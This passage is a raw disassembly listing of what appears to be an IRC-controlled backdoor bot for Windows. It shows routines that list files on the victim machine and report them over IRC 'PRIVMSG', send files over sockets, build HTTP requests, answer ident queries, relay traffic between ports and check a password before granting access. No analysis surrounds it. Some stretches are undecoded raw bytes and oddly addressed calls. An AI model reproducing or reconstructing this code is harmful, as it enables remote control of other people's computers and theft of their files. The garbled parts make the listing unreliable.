[ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25D0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 2780000h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2770000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2760897h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293F4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2670F10h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 2780000h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2760000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 27109BDh mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2750CC5h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A60o ; ___:00437A74o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2790000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 2710000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF38 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx nop call near ptr 26609B7h loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAF14 push 6 push 1 push 2 call dword_4CB024 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAFA4 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D158 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFF4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAFBC pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB03C call dword_4CAEFC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAFA4 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB024 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEEC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB038 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB030 push eax lea eax, [ebp-238h] push offset dword_433FC4 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAFBC cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF38 push eax lea eax, [ebp-238h] push offset dword_433F80 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB03C push dword ptr [ebp-4] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26E0A63h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAFA4 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB024 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEEC[ecx], eax call dword_4CAEB4 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFD0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAFCC test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB038 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB030 push eax lea eax, [ebp-350h] push offset unk_43402C push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEE4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 25E8h dd 8B0226FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEF4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 0A12E832h, 0EB900226h, 0C1E890EDh dd 50022702h, 433FF068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26E0A63h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB024 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAFA4 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CB028 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF5C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB030 push eax lea eax, [ebp-344h] push offset unk_4340B4 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEEC[ebx] mov dword_43DEE4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEF0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2680000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h call near ptr 2670F10h nop jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAFBC cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 26807C8h push eax push offset unk_434074 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEEC[eax] call dword_4CB03C push dword ptr [ebp+8] call dword_4CB03C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26E0A63h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEF0[esi] call dword_4CAFBC test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEEC[esi] call dword_4CAFF4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEF0[esi] call dword_4CB03C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2D02A6E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEEC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF8C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0A63h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAFBC lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEF8 test eax, eax jz short loc_4108BC call dword_4CAF38 push eax push offset unk_43418C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26E0A63h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF5C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB030 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D158 push dword ptr [esi] call dword_4CAFF4 cmp dword_4CDD08, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFF4 push dword ptr [esi] call dword_4CB03C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26E0A63h loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434150 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call near ptr 26807C8h nop push eax push offset unk_434124 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26E0A63h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340F8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26E0A63h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAFBC cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_4341B8 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341E4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 1415FF00h, 33004CAFh, 74C63BF6h, 5468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0FFBDE890h dd 6857022Ch, 410CCBh, 16E890h, 0C0850238h, 0E8902975h dd 226FD0Ch, 